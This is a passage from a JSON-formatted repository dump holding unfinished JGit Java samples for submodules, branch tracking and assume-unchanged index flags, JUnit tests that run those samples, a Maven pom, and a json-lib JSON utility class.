    "content": "package com.jun.plugin.jgit.unfinished;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.storage.file.FileRepositoryBuilder;\nimport org.eclipse.jgit.submodule.SubmoduleWalk;\n\n\n/**\n * Note: This snippet is not done and likely does not show anything useful yet\n *\n * @author dominik.stadler at gmx.at\n */\npublic class TestSubmodules {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        File mainRepoDir = createRepository();\n\n        try (Repository mainRepo = openMainRepo(mainRepoDir)) {\n            addSubmodule(mainRepo);\n\n            try (Repository subRepo = SubmoduleWalk.getSubmoduleRepository(mainRepo, \"testrepo\")) {\n                if (subRepo.isBare()) {\n                    throw new IllegalStateException(\"Repository at \" + subRepo.getDirectory() + \" should not be bare\");\n                }\n\n                System.out.println(\"Found submodule-repository at: \" + subRepo.getDirectory().getAbsolutePath());\n            }\n        }\n\n        System.out.println(\"All done!\");\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(mainRepoDir);\n    }\n\n    private static void addSubmodule(Repository mainRepo) throws GitAPIException {\n        System.out.println(\"Adding submodule\");\n        try (Git git = new Git(mainRepo)) {\n            try (Repository subRepoInit = git.submoduleAdd().\n                    setURI(\"https://github.com/github/testrepo.git\").\n                    setPath(\"testrepo\").\n                    call()) {\n                if(subRepoInit.isBare()) {\n                    throw new IllegalStateException(\"Repository at \" + subRepoInit.getDirectory() + \" should not be bare\");\n                }\n            }\n        }\n    }\n\n    private static Repository openMainRepo(File mainRepoDir) throws IOException {\n        FileRepositoryBuilder builder = new FileRepositoryBuilder();\n\n        Repository mainRepo = builder.setGitDir(new File(mainRepoDir.getAbsolutePath(), \".git\"))\n          .readEnvironment() // scan environment GIT_* variables\n          .findGitDir() // scan up the file system tree\n          .build();\n\n        if(mainRepo.isBare()) {\n            throw new IllegalStateException(\"Repository at \" + mainRepoDir + \" should not be bare\");\n        }\n        return mainRepo;\n    }\n\n    private static File createRepository() throws IOException, GitAPIException {\n        File dir = File.createTempFile(\"gitinit\", \".test\");\n        if(!dir.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + dir);\n        }\n\n        Git.init()\n                .setDirectory(dir)\n                .call();\n\n        try (Repository repository = FileRepositoryBuilder.create(new File(dir.getAbsolutePath(), \".git\"))) {\n            System.out.println(\"Created a new repository at \" + repository.getDirectory());\n        }\n\n        return dir;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/TrackMaster.java",
    "content": "package com.jun.plugin.jgit.unfinished;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.storage.file.FileRepositoryBuilder;\n\nimport java.io.File;\nimport java.io.IOException;\n\n\n\n/**\n * Note: This snippet is not done and likely does not show anything useful yet\n *\n * @author dominik.stadler at gmx.at\n */\npublic class TrackMaster {\n\n    private static final String REMOTE_URL = \"https://github.com/github/testrepo.git\";\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // prepare a new folder for the cloned repository\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // then clone\n        System.out.println(\"Cloning from \" + REMOTE_URL + \" to \" + localPath);\n        try (Git result = Git.cloneRepository()\n                .setURI(REMOTE_URL)\n                .setDirectory(localPath)\n                .call()) {\n            System.out.println(\"Result: \" + result);\n\n            // now open the created repository\n            FileRepositoryBuilder builder = new FileRepositoryBuilder();\n            try (Repository repository = builder.setGitDir(localPath)\n                    .readEnvironment() // scan environment GIT_* variables\n                    .findGitDir() // scan up the file system tree\n                    .build()) {\n                try (Git git = new Git(repository)) {\n                    git.branchCreate()\n                            .setName(\"master\")\n                            // ?!? .setUpstreamMode(SetupUpstreamMode.SET_UPSTREAM)\n                            .setStartPoint(\"origin/master\")\n                            .setForce(true)\n                            .call();\n                }\n\n                System.out.println(\"Now tracking master in repository at \" + repository.getDirectory() + \" from origin/master at \" +\n                        REMOTE_URL);\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/UpdateIndex.java",
    "content": "package com.jun.plugin.jgit.unfinished;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Date;\nimport java.util.Set;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.GitCommand;\nimport org.eclipse.jgit.api.Status;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.api.errors.JGitInternalException;\nimport org.eclipse.jgit.dircache.DirCache;\nimport org.eclipse.jgit.dircache.DirCacheEntry;\nimport org.eclipse.jgit.errors.NoWorkTreeException;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Note: This snippet is not done and likely does not show anything useful yet\n *\n * Snippet which shows how to mark files as assumed-unchanged (git update-index --assume-unchanged)\n */\npublic class UpdateIndex {\n\n\tpublic static void main(String[] args) throws IOException, GitAPIException {\n\t\ttry (final Repository repo = CookbookHelper.openJGitCookbookRepository()) {\n    \t\ttry (final Git git = new Git(repo)) {\n    \t\t    final String testFile = \"README.md\";\n\n    \t\t\t// Modify the file\n    \t\t\tFileUtils.write(new File(testFile), new Date().toString(), \"UTF-8\");\n    \t\t\tSystem.out.println(\"Modified files: \" + getModifiedFiles(git));\n\n    \t\t\tnew AssumeChangedCommand(repo, testFile, true).call();\n    \t\t\tSystem.out.println(\"Modified files after assume-changed: \" + getModifiedFiles(git));\n\n    \t\t\tnew AssumeChangedCommand(repo, testFile, false).call();\n    \t\t\tSystem.out.println(\"Modified files after no-assume-changed: \" + getModifiedFiles(git));\n\n    \t\t\tgit.checkout().addPath(testFile).call();\n    \t\t\tSystem.out.println(\"Modified files after reset: \" + getModifiedFiles(git));\n    \t\t}\n\t\t}\n\t}\n\n\tprivate static Set<String> getModifiedFiles(Git git) throws NoWorkTreeException, GitAPIException {\n\t\tStatus status = git.status().call();\n\t\treturn status.getModified();\n\t}\n\n\tprivate static class AssumeChangedCommand extends GitCommand<String> {\n\t\tprivate final String fileName;\n\t\tprivate final boolean assumeUnchanged;\n\n\t\tAssumeChangedCommand(Repository repository, String fileName, boolean assumedUnchanged) {\n\t\t\tsuper(repository);\n\n\t\t\tthis.fileName = fileName;\n\t\t\tthis.assumeUnchanged = assumedUnchanged;\n\t\t}\n\n\t\t@Override\n\t\tpublic String call() throws GitAPIException {\n\t\t\ttry {\n\t\t\t\tDirCache index = repo.lockDirCache();\n\t\t\t\tDirCacheEntry entry = index.getEntry(fileName);\n\n\t\t\t\tif (entry != null) {\n\t\t\t\t\tentry.setAssumeValid(assumeUnchanged);\n\t\t\t\t\tindex.write();\n\t\t\t\t\tindex.commit();\n\t\t\t\t\treturn entry.getPathString();\n\t\t\t\t}\n\t\t\t} catch (IOException e) {\n\t\t\t\tthrow new JGitInternalException(e.getMessage(), e);\n\t\t\t}\n\n\t\t\treturn null;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/test/java/com/jun/plugin/jgit/JGitBugTest.java",
    "content": "package com.jun.plugin.jgit;\n\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.lib.ObjectReader;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.junit.Test;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\nimport static org.junit.Assert.assertNotNull;\n\n/**\n * Tests which show issues with JGit that we reported upstream.\n */\npublic class JGitBugTest {\n    @Test\n    public void testRevWalkDisposeClosesReader() throws IOException {\n        try (Repository repo = CookbookHelper.openJGitCookbookRepository()) {\n            try (ObjectReader reader = repo.newObjectReader()) {\n                assertNotNull(\"Need to get back an ObjectReader\", reader);\n                try (RevWalk walk = new RevWalk(reader)) {\n                    walk.dispose();\n\n                    Ref head = repo.exactRef(\"refs/heads/master\");\n                    System.out.println(\"Found head: \" + head);\n                    assertNotNull(\"Need to find head on master-branch\", head);\n\n                    ObjectLoader loader = reader.open(head.getObjectId());\n                    assertNotNull(loader);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/test/java/com/jun/plugin/jgit/api/ApiTest.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport static org.junit.Assert.assertNotNull;\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.junit.Test;\n\nimport com.jun.plugin.jgit.api.CheckMergeStatusOfCommit;\nimport com.jun.plugin.jgit.api.GetCommitMessage;\nimport com.jun.plugin.jgit.api.GetFileAttributes;\nimport com.jun.plugin.jgit.api.GetRefFromName;\nimport com.jun.plugin.jgit.api.GetRevCommitFromObjectId;\nimport com.jun.plugin.jgit.api.GetRevTreeFromObjectId;\nimport com.jun.plugin.jgit.api.PrintRemotes;\nimport com.jun.plugin.jgit.api.ReadBlobContents;\nimport com.jun.plugin.jgit.api.ReadFileFromCommit;\nimport com.jun.plugin.jgit.api.ReadTagFromName;\nimport com.jun.plugin.jgit.api.ReadUserConfig;\nimport com.jun.plugin.jgit.api.ResolveRef;\nimport com.jun.plugin.jgit.api.ShowBranchTrackingStatus;\nimport com.jun.plugin.jgit.api.WalkAllCommits;\nimport com.jun.plugin.jgit.api.WalkFromToRev;\nimport com.jun.plugin.jgit.api.WalkRev;\nimport com.jun.plugin.jgit.api.WalkTreeNonRecursive;\nimport com.jun.plugin.jgit.api.WalkTreeRecursive;\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\npublic class ApiTest {\n    @Test\n    public void runSamples() throws Exception {\n        // simply call all the samples to see any severe problems with the samples\n        CheckMergeStatusOfCommit.main(null);\n        GetCommitMessage.main(null);\n        GetFileAttributes.main(null);\n        GetRefFromName.main(null);\n        GetRevCommitFromObjectId.main(null);\n        GetRevTreeFromObjectId.main(null);\n        PrintRemotes.main(null);\n        ReadBlobContents.main(null);\n        ReadFileFromCommit.main(null);\n        ReadTagFromName.main(null);\n        ReadUserConfig.main(null);\n        ResolveRef.main(null);\n        ShowBranchTrackingStatus.main(null);\n        WalkAllCommits.main(null);\n        WalkRev.main(null);\n        WalkFromToRev.main(null);\n        WalkTreeNonRecursive.main(null);\n        WalkTreeRecursive.main(null);\n    }\n\n    @Test\n    public void testFailure() throws IOException {\n        // perform a specific check for things that seem to fail in github/travis checking\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (RevWalk revWalk = new RevWalk( repository )) {\n                ObjectId resolve = repository.resolve( \"refs/heads/master\" );\n                assertNotNull(\"Did not find refs/heads/master\", resolve);\n\n                RevCommit masterHead = revWalk.parseCommit( resolve);\n\n                // first a commit that was merged\n                ObjectId id = repository.resolve(\"05d18a76875716fbdbd2c200091b40caa06c713d\");\n                System.out.println(\"Had id: \" + id);\n                assertNotNull(\"Did not find specific commit\", resolve);\n\n                RevCommit otherHead = revWalk.parseCommit( id );\n                if( revWalk.isMergedInto( otherHead, masterHead ) ) {\n                    System.out.println(\"Commit \" + otherHead + \" is merged into master\");\n                } else {\n                    System.out.println(\"Commit \" + otherHead + \" is NOT merged into master\");\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/test/java/com/jun/plugin/jgit/porcelain/PorcelainTest.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.jgit.porcelain.AddAndListNoteOfCommit;\nimport com.jun.plugin.jgit.porcelain.AddFile;\nimport com.jun.plugin.jgit.porcelain.BlameFile;\nimport com.jun.plugin.jgit.porcelain.CheckoutGitHubPullRequest;\nimport com.jun.plugin.jgit.porcelain.CleanUntrackedFiles;\nimport com.jun.plugin.jgit.porcelain.CloneRemoteRepository;\nimport com.jun.plugin.jgit.porcelain.CommitAll;\nimport com.jun.plugin.jgit.porcelain.CommitFile;\nimport com.jun.plugin.jgit.porcelain.CreateAndDeleteBranch;\nimport com.jun.plugin.jgit.porcelain.CreateAndDeleteTag;\nimport com.jun.plugin.jgit.porcelain.CreateArchive;\nimport com.jun.plugin.jgit.porcelain.CreateCustomFormatArchive;\nimport com.jun.plugin.jgit.porcelain.CreateListApplyAndDropStash;\nimport com.jun.plugin.jgit.porcelain.DiffFilesInCommit;\nimport com.jun.plugin.jgit.porcelain.DiffRenamedFile;\nimport com.jun.plugin.jgit.porcelain.FetchRemoteCommits;\nimport com.jun.plugin.jgit.porcelain.FetchRemoteCommitsWithPrune;\nimport com.jun.plugin.jgit.porcelain.InitRepository;\nimport com.jun.plugin.jgit.porcelain.ListBranches;\nimport com.jun.plugin.jgit.porcelain.ListNotes;\nimport com.jun.plugin.jgit.porcelain.ListRemoteRepository;\nimport com.jun.plugin.jgit.porcelain.ListRemotes;\nimport com.jun.plugin.jgit.porcelain.ListTags;\nimport com.jun.plugin.jgit.porcelain.ListUncommittedChanges;\nimport com.jun.plugin.jgit.porcelain.MergeChanges;\nimport com.jun.plugin.jgit.porcelain.RebaseToOriginMaster;\nimport com.jun.plugin.jgit.porcelain.RevertChanges;\nimport com.jun.plugin.jgit.porcelain.RevertCommit;\nimport com.jun.plugin.jgit.porcelain.ShowBlame;\nimport com.jun.plugin.jgit.porcelain.ShowBranchDiff;\nimport com.jun.plugin.jgit.porcelain.ShowChangedFilesBetweenCommits;\nimport com.jun.plugin.jgit.porcelain.ShowFileDiff;\nimport com.jun.plugin.jgit.porcelain.ShowLog;\nimport com.jun.plugin.jgit.porcelain.ShowStatus;\nimport com.jun.plugin.jgit.porcelain.WalkAllCommits;\n\n\npublic class PorcelainTest {\n    @Test\n    public void runSamples() throws Exception {\n        // simply call all the samples to see any severe problems with the samples\n        AddAndListNoteOfCommit.main(null);\n        AddFile.main(null);\n        BlameFile.main(null);\n        CheckoutGitHubPullRequest.main(null);\n        CleanUntrackedFiles.main(null);\n        CloneRemoteRepository.main(null);\n        // does not run without changes: CloneRemoteRepositoryWithAuthentication.main(null);\n        // TODO: sometimes fails because there are still files open?!: CollectGarbage.main(null);\n        CommitAll.main(null);\n        CommitFile.main(null);\n        CreateAndDeleteBranch.main(null);\n        CreateAndDeleteTag.main(null);\n        CreateArchive.main(null);\n        CreateCustomFormatArchive.main(null);\n        CreateListApplyAndDropStash.main(null);\n        DiffFilesInCommit.main(null);\n        DiffRenamedFile.main(null);\n        FetchRemoteCommits.main(null);\n        FetchRemoteCommitsWithPrune.main(null);\n        InitRepository.main(null);\n        ListBranches.main(null);\n        ListNotes.main(null);\n        ListRemoteRepository.main(null);\n        ListRemotes.main(null);\n        ListTags.main(null);\n        ListUncommittedChanges.main(null);\n        MergeChanges.main(null);\n        RebaseToOriginMaster.main(null);\n        RevertChanges.main(null);\n        RevertCommit.main(null);\n        ShowBlame.main(null);\n        ShowBranchDiff.main(null);\n        ShowChangedFilesBetweenCommits.main(null);\n        ShowFileDiff.main(null);\n        ShowLog.main(null);\n        ShowStatus.main(null);\n        WalkAllCommits.main(null);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_json/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun_json</artifactId>\n    <version>1.0</version>\n\n    <dependencies>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.10</version>\n            <scope>test</scope>\n        </dependency>\n\n        <!-- https://mvnrepository.com/artifact/net.sf.json-lib/json-lib -->\n        <dependency>\n            <groupId>net.sf.json-lib</groupId>\n            <artifactId>json-lib</artifactId>\n            <version>2.4</version>\n            <classifier>jdk15</classifier><!-- //此处要加上jdk版本号 -->\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.41</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.fastjson2</groupId>\n            <artifactId>fastjson2</artifactId>\n            <version>2.0.57</version>\n        </dependency>\n        <dependency>\n            <groupId>com.google.code.gson</groupId>\n            <artifactId>gson</artifactId>\n            <version>2.10.1</version>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-core</artifactId>\n            <version>2.19.2</version>\n        </dependency>\n\n    </dependencies>\n\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_json/src/main/java/com/jun/plugin/json/json_lib/JsonUtil.java",
    "content": "package com.jun.plugin.json.json_lib;\n\nimport java.math.BigDecimal;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\nimport net.sf.json.JsonConfig;\nimport net.sf.json.util.PropertyFilter;\n\npublic class JsonUtil {\n\n\tprivate static String top = \"{\";\n\tprivate static String top_ = \"}\";\n\n\tpublic JsonUtil() {\n\t}\n\n\tpublic static String getJsonByList(List dList) {\n\t\tString data = \"\";\n\t\tif (dList != null) {\n\t\t\tJSONArray ja = JSONArray.fromObject(dList);\n\t\t\tdata = ja.toString();\n\t\t}\n\t\treturn data;\n\t}\n\n\tpublic static String getObjectJsonData(HashMap params) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tint i = 0;\n\t\tif (params != null) {\n\t\t\tdata.append(top);\n\t\t\tfor (Iterator it = params.entrySet().iterator(); it.hasNext();) {\n\t\t\t\tjava.util.Map.Entry element = (java.util.Map.Entry) it.next();\n\t\t\t\tString key = (String) element.getKey();\n\t\t\t\tList dList = (ArrayList) element.getValue();\n\t\t\t\tif (i > 0)\n\t\t\t\t\tdata.append(\",\");\n\t\t\t\tdata.append((new StringBuilder()).append(\"\\\"\").append(key).append(\"\\\"\").append(\":\").toString());\n\t\t\t\tdata.append(getJsonByList(dList));\n\t\t\t\ti++;\n\t\t\t}\n\n\t\t\tdata.append(top_);\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getExtGridJsonData(List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null) {\n\t\t\tdata.append((new StringBuilder()).append(\"{\\\"totalCount\\\":\").append(dList.size()).append(\", \\\"Body\\\":\")\n\t\t\t\t\t.toString());\n\t\t\tdata.append(getJsonByList(dList));\n\t\t\tdata.append(\"}\");\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getGridJsonData(int rowNumber, List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null) {\n\t\t\tdata.append((new StringBuilder()).append(\"{\\\"totalCount\\\":\").append(rowNumber).append(\", \\\"Body\\\":\")\n\t\t\t\t\t.toString());\n\t\t\tdata.append(getJsonByList(dList));\n\t\t\tdata.append(\"}\");\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getDefineJsonData(String firstParam, String listParam, String firstValue, List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null) {\n\t\t\tdata.append((new StringBuilder()).append(\"{\\\"\").append(firstParam).append(\"\\\":\").append(firstValue)\n\t\t\t\t\t.append(\", \\\"\").append(listParam).append(\"\\\":\").toString());\n\t\t\tdata.append(getJsonByList(dList));\n\t\t\tdata.append(\"}\");\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getBasetJsonData(List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null) {\n\t\t\tJSONArray ja = JSONArray.fromObject(dList);\n\t\t\tdata.append(ja.toString());\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getEasyUIJsonData(List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null)\n\t\t\tif (dList.size() > 0) {\n\t\t\t\tString total = ((Map) dList.get(0)).get(\"IRECCOUNT\").toString();\n\t\t\t\tdata.append((new StringBuilder()).append(\"{\\\"total\\\": \").append(total).append(\", \\\"rows\\\": \")\n\t\t\t\t\t\t.append(getJsonByList(dList)).append(\"}\").toString());\n\t\t\t} else {\n\t\t\t\tdata.append(\"{\\\"total\\\": 0, \\\"rows\\\": []}\");\n\t\t\t}\n\t\tSystem.out.println(\"json=\" + data.toString());\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getEasyUIJsonDataV2(List dList, String total) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null)\n\t\t\tif (dList.size() > 0) {\n\t\t\t\t// String total =\n\t\t\t\t// StringUtil.toString(((Map)dList.get(0)).get(\"IRECCOUNT\"));\n\t\t\t\tdata.append((new StringBuilder()).append(\"{\\\"total\\\": \").append(total).append(\", \\\"rows\\\": \")\n\t\t\t\t\t\t.append(getJsonByList(dList)).append(\"}\").toString());\n\t\t\t} else {\n\t\t\t\tdata.append(\"{\\\"total\\\": 0, \\\"rows\\\": []}\");\n\t\t\t}\n\t\tSystem.out.println(\"total=\" + total + \"json=\" + data.toString());\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getJsonDataByObject(Object obj) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (obj != null)\n\t\t\tdata.append(JSONArray.fromObject(obj).toString());\n\t\treturn data.toString();\n\t}\n\n\t// *************************************************************************************\n\t// *************************************************************************************\n\t/**\n\t * List转换成Json字符\n\t */\n\tpublic static String listToJson(List list, final String[] filters) {\n\t\tif (null == list || list.size() == 0) {\n\t\t\treturn \"\";\n\t\t}\n\t\tJSONArray jsonArray = null;\n\t\tJsonConfig config = new JsonConfig();\n\t\t// config.registerJsonValueProcessor(Date.class, new\n\t\t// DateJsonValueProcessor(Globarle.DEFAULT_DATE_FORMAT));\n\t\tif (null != filters && filters.length != 0) {\n\t\t\tconfig.setJsonPropertyFilter(new PropertyFilter() {\n\t\t\t\tpublic boolean apply(Object source, String name, Object value) {\n\t\t\t\t\tfor (String field : filters) {\n\t\t\t\t\t\tif (name.equals(field)) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (value instanceof Set && ((Set) value).size() == 0) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (value instanceof Object[] && ((Object[]) value).length == 0) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t});\n\t\t\tjsonArray = JSONArray.fromObject(list, config);\n\t\t} else {\n\t\t\tjsonArray = JSONArray.fromObject(list, config);\n\t\t}\n\t\treturn jsonArray.toString();\n\t}\n\n\t/**\n\t * Object转换成Json字符\n\t * \n\t * @param object\n\t *            源对\n\t * @param ignorFields\n\t *            忽略属�数\n\t * @return\n\t */\n\tpublic static String objectToJson(Object object, final String[] ignorFields) {\n\t\tif (null == object) {\n\t\t\treturn \"\";\n\t\t}\n\t\tJSONObject jsonObject = null;\n\t\tif (null != ignorFields && ignorFields.length != 0) {\n\t\t\tJsonConfig config = new JsonConfig();\n\t\t\tconfig.setJsonPropertyFilter(new PropertyFilter() {\n\t\t\t\tpublic boolean apply(Object source, String name, Object value) {\n\t\t\t\t\tfor (String field : ignorFields) {\n\t\t\t\t\t\tif (name.equals(field)) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (value instanceof Set && ((Set) value).size() == 0) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (value.getClass().isArray() && ((Object[]) value).length == 0) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t});\n\t\t\tjsonObject = JSONObject.fromObject(object, config);\n\t\t} else {\n\t\t\tjsonObject = JSONObject.fromObject(object);\n\t\t}\n\t\treturn jsonObject.toString();\n\t}\n\n\t/**\n\t * 输出Json字符串到客户\n\t * \n\t * @param jsonModel\n\t *            json模型\n\t * @param response\n\t *            输出对象\n\t */\n\t// public static void outputJsonString(, HttpServletResponse response)\n\t// throws IOException {\n\t// StringBuffer sb = new StringBuffer();\n\t// if (!model.isQueryAction()) {\n\t// sb.append(\"{\").append(model.SUCCESS_FIELD).append(\":\").append(model.isSuccess()).append(\",\")\n\t// .append(model.MESSAGE_FIELD).append(\":'\").append(model.getMessage()).append(\"'}\");\n\t// } else {\n\t// sb.append(\"{\").append(model.TOTAL_FIELD).append(\":\").append(model.getTotalCount()).append(\",\")\n\t// .append(model.ROOT_FIELD).append(\":\").append(model.getJsonString()).append(\"}\");\n\t// }\n\t// response.setCharacterEncoding(\"UTF-8\");\n\t// response.setContentType(\"application/x-json\");\n\t// // response.setContentType(\"text/html\");\n\t// response.getWriter().write(sb.toString());\n\t// }\n\t// *************************************************************************************\n\t// *************************************************************************************\n\t// *************************************************************************************\n\n\t/**\n\t * jquery-Treeview树形菜单json数据生成工具 @描述\n\t * 由于jquery_treeview插件要的json数据属�格式是固定的，无法用json-lib自动生成，除非实体类属�与之对\n\t * 采用ajax异步加载子节点方式，初始阶段只加载顶级节 生成的json格式如下 { \"id\":\"1\", //id \"text\":\"aaa\",\n\t * //显示 \"value\":\"1\", //提交 \"expanded\":true, //是否展开 \"hasChildren\":true,\n\t * //是否有子节点 \"ChildNodes\":[{},{}], //子节点集 \"showcheck\":true, //是否显示checkbox\n\t * \"complete\":false //是否已加载子节点 }\n\t * \n\t * @author Lanxiaowei\n\t * @createTime 2011-9-1 下午08:50:14\n\t */\n\n\tprivate Map<String, Object> parseStr(String str) {\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tfor (String strPart : str.split(\",\")) {\n\t\t\tString[] ss = strPart.split(\":\");\n\t\t\tif (ss == null || ss.length != 2) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tString key = ss[0];\n\t\t\tString value = ss[1].trim();\n\t\t\tif (value.startsWith(\"'\") && value.endsWith(\"'\")) {\n\t\t\t\tmap.put(key, value.substring(1, value.length() - 1));\n\t\t\t} else if (value.startsWith(\"\\\"\") && value.endsWith(\"\\\"\")) {\n\t\t\t\tmap.put(key, value.substring(1, value.length() - 1));\n\t\t\t} else if (value.equals(\"true\") || value.equals(\"false\")) {\n\t\t\t\tmap.put(key, Boolean.valueOf(value));\n\t\t\t} else if (value.indexOf(\".\") == -1) {\n\t\t\t\ttry {\n\t\t\t\t\tint val = Integer.parseInt(value);\n\t\t\t\t\tmap.put(key, val);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tmap.put(key, value);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\ttry {\n\t\t\t\t\tBigDecimal val = new BigDecimal(value);\n\t\t\t\t\tmap.put(key, val);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tmap.put(key, value);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn map;\n\t}\n\n\t// *************************************************************************************\n\t// 